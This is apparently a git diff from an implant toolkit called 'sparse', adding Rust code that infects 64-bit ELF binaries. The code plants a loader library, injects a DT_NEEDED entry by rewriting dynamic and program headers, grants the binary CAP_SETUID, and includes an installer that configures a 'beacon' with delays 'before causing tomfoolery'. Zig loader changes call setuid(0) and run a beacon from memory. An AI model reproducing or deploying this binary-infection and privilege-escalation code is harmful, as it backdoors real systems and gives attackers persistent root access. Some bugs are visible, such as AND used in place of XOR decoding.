"hash": "fe857854bbacf9e8fc44ef0dffc2d5e15da15f805064f1e969a1d6d9516294b6"
|
||||||
|
}
|
||||||
@ -1,6 +1,9 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "sparse-infector"
|
name = "sparse-unix-infector"
|
||||||
edition = "2024"
|
edition = "2021"
|
||||||
version.workspace = true
|
version.workspace = true
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
|
libc = "0.2.169"
|
||||||
|
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||||
|
errno = "0.3"
|
||||||
|
|||||||
9
sparse-unix-infector/build.rs
Normal file
9
sparse-unix-infector/build.rs
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
fn main() {
|
||||||
|
include!("../build_common.rs");
|
||||||
|
if std::env::var("CARGO_CFG_TARGET_OS").as_deref() == Ok("linux") {
|
||||||
|
let capdir = std::env::var("SPARSE_BUILD_LIBCAP").unwrap();
|
||||||
|
println!("cargo:rustc-link-search=native={capdir}/lib");
|
||||||
|
println!("cargo:rustc-link-lib=static=cap");
|
||||||
|
println!("cargo:rustc-link-lib=static=psx");
|
||||||
|
}
|
||||||
|
}
|
||||||
158
sparse-unix-infector/src/elf_types.rs
Normal file
158
sparse-unix-infector/src/elf_types.rs
Normal file
@ -0,0 +1,158 @@
|
|||||||
|
#[derive(Debug)]
|
||||||
|
pub enum ElfIsa {
|
||||||
|
X86,
|
||||||
|
Amd64,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ElfIsa {
|
||||||
|
fn from_machine(machine: u16) -> Option<Self> {
|
||||||
|
match machine {
|
||||||
|
0x03 => Some(Self::X86),
|
||||||
|
0x3E => Some(Self::Amd64),
|
||||||
|
_ => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Clone)]
|
||||||
|
pub struct Elf_Hdr {
|
||||||
|
pub e_ident: [u8; 0x10],
|
||||||
|
pub e_type: u16,
|
||||||
|
pub e_machine: u16,
|
||||||
|
pub e_version: u32,
|
||||||
|
pub rest: Elf_HdrRest,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Elf_Hdr {
|
||||||
|
pub fn isa(&self) -> Option<ElfIsa> {
|
||||||
|
ElfIsa::from_machine(self.e_machine)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Debug for Elf_Hdr {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match ElfIsa::from_machine(self.e_machine) {
|
||||||
|
Some(ElfIsa::X86) => {
|
||||||
|
let hdr = unsafe { self.rest.bit32 };
|
||||||
|
f.debug_struct("Elf_Hdr")
|
||||||
|
.field("e_ident", &&self.e_ident[..])
|
||||||
|
.field("e_type", &self.e_type)
|
||||||
|
.field("e_machine", &self.e_machine)
|
||||||
|
.field("e_version", &self.e_version)
|
||||||
|
.field("e_isa", &ElfIsa::from_machine(self.e_machine))
|
||||||
|
.field("e_entry", &format_args!("0x{:X}", hdr.e_entry))
|
||||||
|
.field("e_phoff", &format_args!("0x{:X}", hdr.e_phoff))
|
||||||
|
.field("e_shoff", &format_args!("0x{:X}", hdr.e_shoff))
|
||||||
|
.field("e_flags", &hdr.e_flags)
|
||||||
|
.field("e_ehsize", &hdr.e_ehsize)
|
||||||
|
.field("e_phentsize", &hdr.e_phentsize)
|
||||||
|
.field("e_phnum", &hdr.e_phnum)
|
||||||
|
.field("e_shentsize", &hdr.e_shentsize)
|
||||||
|
.field("e_shnum", &hdr.e_shnum)
|
||||||
|
.field("e_shstrndx", &hdr.e_shstrndx)
|
||||||
|
.finish()
|
||||||
|
}
|
||||||
|
Some(ElfIsa::Amd64) => {
|
||||||
|
let hdr = unsafe { self.rest.bit64 };
|
||||||
|
f.debug_struct("Elf_Hdr")
|
||||||
|
.field("e_ident", &&self.e_ident[..])
|
||||||
|
.field("e_type", &self.e_type)
|
||||||
|
.field("e_machine", &self.e_machine)
|
||||||
|
.field("e_version", &self.e_version)
|
||||||
|
.field("e_isa", &ElfIsa::from_machine(self.e_machine))
|
||||||
|
.field("e_entry", &format_args!("0x{:X}", hdr.e_entry))
|
||||||
|
.field("e_phoff", &format_args!("0x{:X}", hdr.e_phoff))
|
||||||
|
.field("e_shoff", &format_args!("0x{:X}", hdr.e_shoff))
|
||||||
|
.field("e_flags", &hdr.e_flags)
|
||||||
|
.field("e_ehsize", &hdr.e_ehsize)
|
||||||
|
.field("e_phentsize", &hdr.e_phentsize)
|
||||||
|
.field("e_phnum", &hdr.e_phnum)
|
||||||
|
.field("e_shentsize", &hdr.e_shentsize)
|
||||||
|
.field("e_shnum", &hdr.e_shnum)
|
||||||
|
.field("e_shstrndx", &hdr.e_shstrndx)
|
||||||
|
.finish()
|
||||||
|
}
|
||||||
|
None => f
|
||||||
|
.debug_struct("Elf_Hdr")
|
||||||
|
.field("e_ident", &&self.e_ident[..])
|
||||||
|
.field("e_type", &self.e_type)
|
||||||
|
.field("e_machine", &self.e_machine)
|
||||||
|
.field("e_version", &self.e_version)
|
||||||
|
.field("e_isa", &ElfIsa::from_machine(self.e_machine))
|
||||||
|
.finish(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Copy, Clone)]
|
||||||
|
pub union Elf_HdrRest {
|
||||||
|
pub bit64: Elf_64Hdr,
|
||||||
|
pub bit32: Elf_32Hdr,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Copy, Clone, Debug)]
|
||||||
|
pub struct Elf_64Hdr {
|
||||||
|
pub e_entry: u64,
|
||||||
|
pub e_phoff: u64,
|
||||||
|
pub e_shoff: u64,
|
||||||
|
pub e_flags: u32,
|
||||||
|
pub e_ehsize: u16,
|
||||||
|
pub e_phentsize: u16,
|
||||||
|
pub e_phnum: u16,
|
||||||
|
pub e_shentsize: u16,
|
||||||
|
pub e_shnum: u16,
|
||||||
|
pub e_shstrndx: u16,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Copy, Clone, Debug)]
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct Elf_32Hdr {
|
||||||
|
pub e_entry: u32,
|
||||||
|
pub e_phoff: u32,
|
||||||
|
pub e_shoff: u32,
|
||||||
|
pub e_flags: u32,
|
||||||
|
pub e_ehsize: u16,
|
||||||
|
pub e_phentsize: u16,
|
||||||
|
pub e_phnum: u16,
|
||||||
|
pub e_shentsize: u16,
|
||||||
|
pub e_shnum: u16,
|
||||||
|
pub e_shstrndx: u16,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Copy, Clone, Debug)]
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct ProgramHeader_64bit {
|
||||||
|
pub p_type: u32,
|
||||||
|
pub p_flags: u32,
|
||||||
|
pub p_offset: u64,
|
||||||
|
pub p_vaddr: u64,
|
||||||
|
pub p_paddr: u64,
|
||||||
|
pub p_filesz: u64,
|
||||||
|
pub p_memsz: u64,
|
||||||
|
pub p_align: u64,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Copy, Clone, Debug)]
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct SectionHeader_64bit {
|
||||||
|
pub sh_name: u32,
|
||||||
|
pub sh_type: u32,
|
||||||
|
pub sh_flags: u64,
|
||||||
|
pub sh_addr: u64,
|
||||||
|
pub sh_offset: u64,
|
||||||
|
pub sh_size: u64,
|
||||||
|
pub sh_link: u32,
|
||||||
|
pub sh_info: u32,
|
||||||
|
pub sh_addralign: u64,
|
||||||
|
pub sh_entsize: u64,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Copy, Clone, Debug)]
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct DTEntry {
|
||||||
|
pub d_tag: u64,
|
||||||
|
pub d_val: u64,
|
||||||
|
}
|
||||||
@ -1,14 +1,345 @@
|
|||||||
pub fn add(left: u64, right: u64) -> u64 {
|
use std::{
|
||||||
left + right
|
io::{prelude::*, Error, SeekFrom},
|
||||||
}
|
path::Path,
|
||||||
|
slice,
|
||||||
|
};
|
||||||
|
|
||||||
#[cfg(test)]
|
use sparse_actions::payload_types::Parameters;
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
#[test]
|
mod elf_types;
|
||||||
fn it_works() {
|
use elf_types::*;
|
||||||
let result = add(2, 2);
|
|
||||||
assert_eq!(result, 4);
|
#[cfg(not(debug_assertions))]
|
||||||
|
pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LOADER"));
|
||||||
|
#[cfg(all(debug_assertions, target_os = "linux"))]
|
||||||
|
pub const SPARSE_LIBRARY: &'static [u8] =
|
||||||
|
include_bytes!("../../unix-loader/zig-out/lib/libunix-loader-linux.so");
|
||||||
|
#[cfg(all(debug_assertions, target_os = "freebsd"))]
|
||||||
|
pub const SPARSE_LIBRARY: &'static [u8] =
|
||||||
|
include_bytes!("../../unix-loader/zig-out/lib/libunix-loader-freebsd.so");
|
||||||
|
|
||||||
|
pub fn infect_elf_binary<BP, LP>(
|
||||||
|
binary_path: BP,
|
||||||
|
target_library_path: LP,
|
||||||
|
sparse_parameters: &Parameters,
|
||||||
|
) -> Result<(), Error>
|
||||||
|
where
|
||||||
|
BP: AsRef<Path>,
|
||||||
|
LP: AsRef<Path>,
|
||||||
|
{
|
||||||
|
std::fs::write(&target_library_path, SPARSE_LIBRARY)?;
|
||||||
|
|
||||||
|
let mut binary = std::fs::OpenOptions::new()
|
||||||
|
.read(true)
|
||||||
|
.write(true)
|
||||||
|
.truncate(false)
|
||||||
|
.open(&binary_path)?;
|
||||||
|
|
||||||
|
binary.seek(SeekFrom::End(0))?;
|
||||||
|
let end = binary.stream_position()?;
|
||||||
|
binary.seek(SeekFrom::Start(0))?;
|
||||||
|
|
||||||
|
let mut binary_data = Vec::with_capacity(end as usize);
|
||||||
|
binary.read_to_end(&mut binary_data)?;
|
||||||
|
|
||||||
|
let header: &Elf_Hdr = unsafe { &*(binary_data.as_ptr() as *const Elf_Hdr) };
|
||||||
|
|
||||||
|
let Some(isa) = header.isa() else {
|
||||||
|
panic!("Unknown binary type");
|
||||||
|
};
|
||||||
|
|
||||||
|
if let ElfIsa::Amd64 = isa {
|
||||||
|
infect_64bit_elf_binary(target_library_path, binary, binary_data, sparse_parameters)?;
|
||||||
|
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
|
{
|
||||||
|
use libc::c_int;
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
struct CapT {
|
||||||
|
__private: [u8; 0],
|
||||||
|
}
|
||||||
|
|
||||||
|
type CapValue = c_int;
|
||||||
|
|
||||||
|
// cap_flag_t
|
||||||
|
const CAP_EFFECTIVE: u8 = 0;
|
||||||
|
const CAP_PERMITTED: u8 = 1;
|
||||||
|
const CAP_INHERITABLE: u8 = 2;
|
||||||
|
|
||||||
|
// cap_flag_value_t
|
||||||
|
const CAP_SET: u8 = 0;
|
||||||
|
|
||||||
|
extern "C" {
|
||||||
|
fn cap_free(cap: *mut CapT) -> c_int;
|
||||||
|
fn cap_get_file(filename: *const i8) -> *mut CapT;
|
||||||
|
fn cap_set_flag(
|
||||||
|
cap: *mut CapT,
|
||||||
|
cap_flag: u8,
|
||||||
|
count: c_int,
|
||||||
|
cap_flag_value: *const CapValue,
|
||||||
|
cap_flag_value_t: u8,
|
||||||
|
) -> c_int;
|
||||||
|
fn cap_set_file(filename: *const i8, cap: *mut CapT) -> c_int;
|
||||||
|
}
|
||||||
|
|
||||||
|
// CAP_SETUID
|
||||||
|
let cap_list = [7];
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
let path = std::ffi::CString::new(
|
||||||
|
binary_path
|
||||||
|
.as_ref()
|
||||||
|
.to_str()
|
||||||
|
.expect("could not convert binary path to string"),
|
||||||
|
)
|
||||||
|
.expect("could not convert binary path to string");
|
||||||
|
let current_caps = cap_get_file(path.as_ptr());
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"Result of setting effective caps: {} (errno: {})",
|
||||||
|
cap_set_flag(
|
||||||
|
current_caps,
|
||||||
|
CAP_EFFECTIVE,
|
||||||
|
1,
|
||||||
|
&cap_list[0] as *const _,
|
||||||
|
CAP_SET
|
||||||
|
),
|
||||||
|
errno::errno()
|
||||||
|
);
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"Result of setting permitted caps: {} (errno: {})",
|
||||||
|
cap_set_flag(
|
||||||
|
current_caps,
|
||||||
|
CAP_PERMITTED,
|
||||||
|
1,
|
||||||
|
&cap_list[0] as *const _,
|
||||||
|
CAP_SET
|
||||||
|
),
|
||||||
|
errno::errno()
|
||||||
|
);
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"Result of setting inheritable caps: {} (errno: {})",
|
||||||
|
cap_set_flag(
|
||||||
|
current_caps,
|
||||||
|
CAP_INHERITABLE,
|
||||||
|
1,
|
||||||
|
&cap_list[0] as *const _,
|
||||||
|
CAP_SET
|
||||||
|
),
|
||||||
|
errno::errno()
|
||||||
|
);
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"Result of saving flags: {}, {}",
|
||||||
|
cap_set_file(path.as_ptr(), current_caps),
|
||||||
|
errno::errno()
|
||||||
|
);
|
||||||
|
|
||||||
|
cap_free(current_caps);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
} else {
|
||||||
|
eprintln!("Sparse is only compiled for 64 bit Linux");
|
||||||
|
Ok(())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn infect_64bit_elf_binary<LP, F>(
|
||||||
|
library_path: LP,
|
||||||
|
mut binary: F,
|
||||||
|
mut binary_data: Vec<u8>,
|
||||||
|
sparse_parameters: &Parameters,
|
||||||
|
) -> Result<(), Error>
|
||||||
|
where
|
||||||
|
LP: AsRef<Path>,
|
||||||
|
F: Read + Write + Seek,
|
||||||
|
{
|
||||||
|
let Some(library_name) = library_path.as_ref().file_name() else {
|
||||||
|
eprintln!("Library name does not contain a valid file path!");
|
||||||
|
panic!();
|
||||||
|
};
|
||||||
|
|
||||||
|
let header: &mut Elf_Hdr = unsafe { &mut *(binary_data.as_mut_ptr() as *mut Elf_Hdr) };
|
||||||
|
let x64_header = unsafe { &mut header.rest.bit64 };
|
||||||
|
|
||||||
|
let section_headers = unsafe {
|
||||||
|
slice::from_raw_parts_mut::<SectionHeader_64bit>(
|
||||||
|
binary_data.as_mut_ptr().offset(x64_header.e_shoff as isize) as *mut _,
|
||||||
|
x64_header.e_shnum as usize,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
let program_headers = unsafe {
|
||||||
|
slice::from_raw_parts_mut::<ProgramHeader_64bit>(
|
||||||
|
binary_data.as_mut_ptr().offset(x64_header.e_phoff as isize) as *mut _,
|
||||||
|
x64_header.e_phnum as usize,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
let Some(stack_ph) = program_headers
|
||||||
|
.iter()
|
||||||
|
.position(|ph| ph.p_type == 0x6474e551 /* PT_GNU_STACK */)
|
||||||
|
else {
|
||||||
|
eprintln!("ELF is protected against stack exploitation! Find one that isn't");
|
||||||
|
panic!();
|
||||||
|
};
|
||||||
|
|
||||||
|
let Some(dynamic_sh) = section_headers.iter().find(|sh| sh.sh_type == 0x06) else {
|
||||||
|
eprintln!("ELF is not a dynamic executable!");
|
||||||
|
panic!();
|
||||||
|
};
|
||||||
|
|
||||||
|
let dynamic_offset = dynamic_sh.sh_offset as usize;
|
||||||
|
let dynamic_size = dynamic_sh.sh_size as usize / std::mem::size_of::<DTEntry>();
|
||||||
|
|
||||||
|
let dynamic_sections = unsafe {
|
||||||
|
slice::from_raw_parts_mut::<DTEntry>(
|
||||||
|
binary_data.as_mut_ptr().offset(dynamic_offset as isize) as *mut _,
|
||||||
|
dynamic_size,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
let Some(dynstr_addr) = dynamic_sections
|
||||||
|
.iter()
|
||||||
|
.find_map(|dt| Some(dt.d_val).filter(|_| dt.d_tag == 0x05 /* DT_STRTAB */))
|
||||||
|
else {
|
||||||
|
eprintln!("Could not find dynamic strings! (1)");
|
||||||
|
panic!();
|
||||||
|
};
|
||||||
|
|
||||||
|
let Some(dynstr_sh_idx) = section_headers
|
||||||
|
.iter()
|
||||||
|
.position(|sh| sh.sh_addr == dynstr_addr)
|
||||||
|
else {
|
||||||
|
eprintln!("Could not find dynamic strings!");
|
||||||
|
panic!();
|
||||||
|
};
|
||||||
|
|
||||||
|
let dynstr_sh = section_headers[dynstr_sh_idx];
|
||||||
|
|
||||||
|
let dynstr_offset = dynstr_sh.sh_offset as usize;
|
||||||
|
let dynstr_size = dynstr_sh.sh_size as usize;
|
||||||
|
|
||||||
|
let mut dynstr_bytes = binary_data[dynstr_offset..dynstr_offset + dynstr_size].to_vec();
|
||||||
|
|
||||||
|
let lp_pointer = dynstr_bytes.len();
|
||||||
|
dynstr_bytes.extend(library_name.as_encoded_bytes());
|
||||||
|
dynstr_bytes.extend(b"\0");
|
||||||
|
|
||||||
|
let Some(last_record) = dynamic_sections
|
||||||
|
.iter()
|
||||||
|
.position(|dt| dt.d_tag == 0x00 && dt.d_val == 0x00)
|
||||||
|
else {
|
||||||
|
eprintln!("Could not find last dynamic table entry!");
|
||||||
|
panic!();
|
||||||
|
};
|
||||||
|
|
||||||
|
let Some(last_needed_record_pos) = dynamic_sections.iter().position(|dt| dt.d_tag != 0x01)
|
||||||
|
else {
|
||||||
|
eprintln!("Could not find a non dynamic entry in dt");
|
||||||
|
panic!();
|
||||||
|
};
|
||||||
|
|
||||||
|
if last_record == dynamic_sections.len() - 1 {
|
||||||
|
// we need to make a new section and update the global offset table
|
||||||
|
// ...or just crash for now...
|
||||||
|
// eprintln!("lol");
|
||||||
|
eprintln!("Dynamic section is too small!");
|
||||||
|
unimplemented!();
|
||||||
|
} else {
|
||||||
|
for pos in (last_needed_record_pos..=last_record).rev() {
|
||||||
|
dynamic_sections[pos + 1].d_tag = dynamic_sections[pos].d_tag;
|
||||||
|
dynamic_sections[pos + 1].d_val = dynamic_sections[pos].d_val;
|
||||||
|
}
|
||||||
|
|
||||||
|
dynamic_sections[last_needed_record_pos].d_tag = 0x01; // DT_NEEDED
|
||||||
|
dynamic_sections[last_needed_record_pos].d_val = lp_pointer as u64;
|
||||||
|
}
|
||||||
|
|
||||||
|
let curr_len = binary_data.len();
|
||||||
|
let target_pad = curr_len + (0x1000 - (curr_len % 0x1000));
|
||||||
|
let to_pad = target_pad - curr_len;
|
||||||
|
|
||||||
|
binary_data.extend(vec![0u8; to_pad]);
|
||||||
|
|
||||||
|
let dynstr_ptr = binary_data.len();
|
||||||
|
|
||||||
|
println!("{dynstr_ptr:X}");
|
||||||
|
println!("{to_pad:X}");
|
||||||
|
|
||||||
|
binary_data.extend(&dynstr_bytes);
|
||||||
|
|
||||||
|
let header: &mut Elf_Hdr = unsafe { &mut *(binary_data.as_mut_ptr() as *mut Elf_Hdr) };
|
||||||
|
let x64_header = unsafe { &mut header.rest.bit64 };
|
||||||
|
|
||||||
|
let section_headers = unsafe {
|
||||||
|
slice::from_raw_parts_mut::<SectionHeader_64bit>(
|
||||||
|
binary_data.as_mut_ptr().offset(x64_header.e_shoff as isize) as *mut _,
|
||||||
|
x64_header.e_shnum as usize,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
let program_headers = unsafe {
|
||||||
|
slice::from_raw_parts_mut::<ProgramHeader_64bit>(
|
||||||
|
binary_data.as_mut_ptr().offset(x64_header.e_phoff as isize) as *mut _,
|
||||||
|
x64_header.e_phnum as usize,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
let dynamic_sections = unsafe {
|
||||||
|
slice::from_raw_parts_mut::<DTEntry>(
|
||||||
|
binary_data.as_mut_ptr().offset(dynamic_offset as isize) as *mut _,
|
||||||
|
dynamic_size,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
let Some(new_address) = program_headers
|
||||||
|
.iter()
|
||||||
|
.filter_map(|ph| Some(ph.p_vaddr).filter(|_| ph.p_type == 0x1 /* PT_LOAD */))
|
||||||
|
.max()
|
||||||
|
else {
|
||||||
|
eprintln!("Could not find address space to store new symbol strings");
|
||||||
|
panic!();
|
||||||
|
};
|
||||||
|
|
||||||
|
let new_address = new_address + 0x2000 - (new_address % 0x1000);
|
||||||
|
|
||||||
|
let Some(dt_strtab) = dynamic_sections
|
||||||
|
.iter_mut()
|
||||||
|
.find(|dt| dt.d_tag == 0x05 /* DT_STRTAB */)
|
||||||
|
else {
|
||||||
|
eprintln!("Could not find dynamic strings! (1)");
|
||||||
|
panic!();
|
||||||
|
};
|
||||||
|
|
||||||
|
dt_strtab.d_val = new_address as u64;
|
||||||
|
|
||||||
|
section_headers[dynstr_sh_idx].sh_offset = dynstr_ptr as u64;
|
||||||
|
section_headers[dynstr_sh_idx].sh_size = dynstr_bytes.len() as u64;
|
||||||
|
section_headers[dynstr_sh_idx].sh_addr = new_address as u64;
|
||||||
|
|
||||||
|
program_headers[stack_ph].p_type = 0x1; // PT_LOAD
|
||||||
|
program_headers[stack_ph].p_flags = 0x4 | 0x6; // PF_R | PF_W
|
||||||
|
program_headers[stack_ph].p_offset = dynstr_ptr as u64;
|
||||||
|
program_headers[stack_ph].p_vaddr = new_address as u64;
|
||||||
|
program_headers[stack_ph].p_paddr = new_address as u64;
|
||||||
|
program_headers[stack_ph].p_filesz = dynstr_bytes.len() as u64;
|
||||||
|
program_headers[stack_ph].p_memsz = dynstr_bytes.len() as u64;
|
||||||
|
program_headers[stack_ph].p_align = 0x1000;
|
||||||
|
|
||||||
|
binary.seek(SeekFrom::Start(0))?;
|
||||||
|
binary.write(&binary_data)?;
|
||||||
|
|
||||||
|
let param_data = &sparse_parameters as *const _ as *const u8;
|
||||||
|
let param_slice =
|
||||||
|
unsafe { slice::from_raw_parts(param_data, std::mem::size_of::<Parameters>()) };
|
||||||
|
|
||||||
|
binary.write(param_slice)?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|||||||
@ -4,3 +4,7 @@ edition = "2024"
|
|||||||
version.workspace = true
|
version.workspace = true
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
|
rand = "0.9.0"
|
||||||
|
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||||
|
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" }
|
||||||
|
structopt = "0.3.26"
|
||||||
|
|||||||
@ -1,3 +1,77 @@
|
|||||||
fn main() {
|
use std::{
|
||||||
println!("Hello, world!");
|
fs::OpenOptions,
|
||||||
|
io::{prelude::*, Error, SeekFrom},
|
||||||
|
path::PathBuf,
|
||||||
|
};
|
||||||
|
|
||||||
|
use rand::{rngs::OsRng, TryRngCore};
|
||||||
|
use structopt::StructOpt;
|
||||||
|
|
||||||
|
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||||
|
use sparse_unix_infector::infect_elf_binary;
|
||||||
|
|
||||||
|
#[derive(StructOpt, Debug)]
|
||||||
|
#[structopt(name = "sparse-installer")]
|
||||||
|
struct Options {
|
||||||
|
/// Path to binary to infect
|
||||||
|
#[structopt(short, long)]
|
||||||
|
binary: PathBuf,
|
||||||
|
|
||||||
|
/// Path for where to store the library that sparse uses;
|
||||||
|
/// must be somewhere in the library search path (e.g., /lib/x86_64-linux-gnu)
|
||||||
|
#[structopt(short, long)]
|
||||||
|
library_path: PathBuf,
|
||||||
|
|
||||||
|
/// Name to call the program after it double forks
|
||||||
|
#[structopt(short = "n", long)]
|
||||||
|
binary_name: String,
|
||||||
|
|
||||||
|
/// How long to randomly wait (minimum) after being loaded before causing tomfoolery
|
||||||
|
#[structopt(long, default_value = "0")]
|
||||||
|
delay_seconds_minimum: u8,
|
||||||
|
|
||||||
|
/// How long to randomly wait (maximum) after being loaded before causing tomfoolery
|
||||||
|
#[structopt(long, default_value = "0")]
|
||||||
|
delay_seconds_maximum: u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
fn main() -> Result<(), Error> {
|
||||||
|
let opts = Options::from_args();
|
||||||
|
|
||||||
|
if opts.delay_seconds_minimum > opts.delay_seconds_maximum {
|
||||||
|
eprintln!("Delay seconds minimum should be larger than delay seconds maximum!");
|
||||||
|
panic!();
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut installer_file = OpenOptions::new()
|
||||||
|
.read(true)
|
||||||
|
.open(std::env::current_exe()?)?;
|
||||||
|
|
||||||
|
let parameters_size = std::mem::size_of::<Parameters>() as i64;
|
||||||
|
|
||||||
|
installer_file.seek(SeekFrom::End(-parameters_size))?;
|
||||||
|
|
||||||
|
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||||
|
installer_file.read(&mut parameters_buffer)?;
|
||||||
|
|
||||||
|
for b in parameters_buffer.iter_mut() {
|
||||||
|
*b = *b & (XOR_KEY as u8);
|
||||||
|
}
|
||||||
|
|
||||||
|
let parameters: &mut Parameters =
|
||||||
|
unsafe { std::mem::transmute(parameters_buffer.as_mut_ptr()) };
|
||||||
|
|
||||||
|
let mut identifier = [0u8; 32];
|
||||||
|
OsRng
|
||||||
|
.try_fill_bytes(&mut identifier)
|
||||||
|
.expect("Could not generate beacon identifier");
|
||||||
|
|
||||||
|
let beacon_name = opts.binary_name.as_bytes();
|
||||||
|
parameters.beacon_name[..beacon_name.len()].copy_from_slice(&beacon_name[..]);
|
||||||
|
parameters.beacon_name_length = beacon_name.len() as u16;
|
||||||
|
|
||||||
|
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
||||||
|
parameters.delay_seconds_max = opts.delay_seconds_minimum;
|
||||||
|
|
||||||
|
infect_elf_binary(opts.binary, opts.library_path, parameters)
|
||||||
}
|
}
|
||||||
|
|||||||
@ -3,4 +3,6 @@ name = "sparse-windows-beacon"
|
|||||||
edition = "2024"
|
edition = "2024"
|
||||||
version.workspace = true
|
version.workspace = true
|
||||||
|
|
||||||
|
crate-type = ["cdylib"]
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
|
|||||||
@ -1,3 +1 @@
|
|||||||
fn main() {
|
fn main() {}
|
||||||
println!("Hello, world!");
|
|
||||||
}
|
|
||||||
|
|||||||
@ -1,14 +0,0 @@
|
|||||||
pub fn add(left: u64, right: u64) -> u64 {
|
|
||||||
left + right
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn it_works() {
|
|
||||||
let result = add(2, 2);
|
|
||||||
assert_eq!(result, 4);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
3
sparse-windows-installer/src/main.rs
Normal file
3
sparse-windows-installer/src/main.rs
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
fn main() {
|
||||||
|
println!("Hello");
|
||||||
|
}
|
||||||
@ -1,4 +1,5 @@
|
|||||||
{ pkgs, libnl-src, libpcap-src, winpcap-installer, freebsd-libs-packed }:
|
{ pkgs, libcap-src, libnl-src, libpcap-src, winpcap-installer
|
||||||
|
, freebsd-libs-packed }:
|
||||||
let
|
let
|
||||||
freebsd-libs = pkgs.stdenv.mkDerivation {
|
freebsd-libs = pkgs.stdenv.mkDerivation {
|
||||||
name = "freebsd-libs";
|
name = "freebsd-libs";
|
||||||
@ -81,6 +82,26 @@ in {
|
|||||||
'';
|
'';
|
||||||
};
|
};
|
||||||
|
|
||||||
|
libcap = pkgs.stdenv.mkDerivation {
|
||||||
|
name = "libcap-static";
|
||||||
|
|
||||||
|
nativeBuildInputs = with pkgs; [ clang musl ];
|
||||||
|
|
||||||
|
src = libcap-src;
|
||||||
|
|
||||||
|
buildPhase = ''
|
||||||
|
export BUILD_CC=musl-clang
|
||||||
|
export CC=musl-gcc
|
||||||
|
export CXX=musl-gcc
|
||||||
|
make -C libcap
|
||||||
|
'';
|
||||||
|
|
||||||
|
installPhase = ''
|
||||||
|
mkdir -p $out/lib
|
||||||
|
cp -a libcap/* $out/lib
|
||||||
|
'';
|
||||||
|
};
|
||||||
|
|
||||||
libpcap-linux-gnu = pkgs.stdenv.mkDerivation {
|
libpcap-linux-gnu = pkgs.stdenv.mkDerivation {
|
||||||
name = "libpcap-static-linux-gnu";
|
name = "libpcap-static-linux-gnu";
|
||||||
|
|
||||||
|
|||||||
@ -13,7 +13,7 @@ const config = @import("config");
|
|||||||
fn open_temp() !std.fs.File {
|
fn open_temp() !std.fs.File {
|
||||||
switch (builtin.os.tag) {
|
switch (builtin.os.tag) {
|
||||||
.linux => {
|
.linux => {
|
||||||
const fd = posix.memfd_create("", 0);
|
const fd = try posix.memfd_create("", 0);
|
||||||
return std.fs.File{ .handle = fd };
|
return std.fs.File{ .handle = fd };
|
||||||
},
|
},
|
||||||
else => {
|
else => {
|
||||||
@ -69,7 +69,7 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
|||||||
uid = std.os.linux.syscall0(.getuid);
|
uid = std.os.linux.syscall0(.getuid);
|
||||||
try posix.setuid(0);
|
try posix.setuid(0);
|
||||||
|
|
||||||
if (std.os.linux.syscall0() != 0) {
|
if (std.os.linux.syscall0(.getuid) != 0) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -97,7 +97,7 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
|||||||
}
|
}
|
||||||
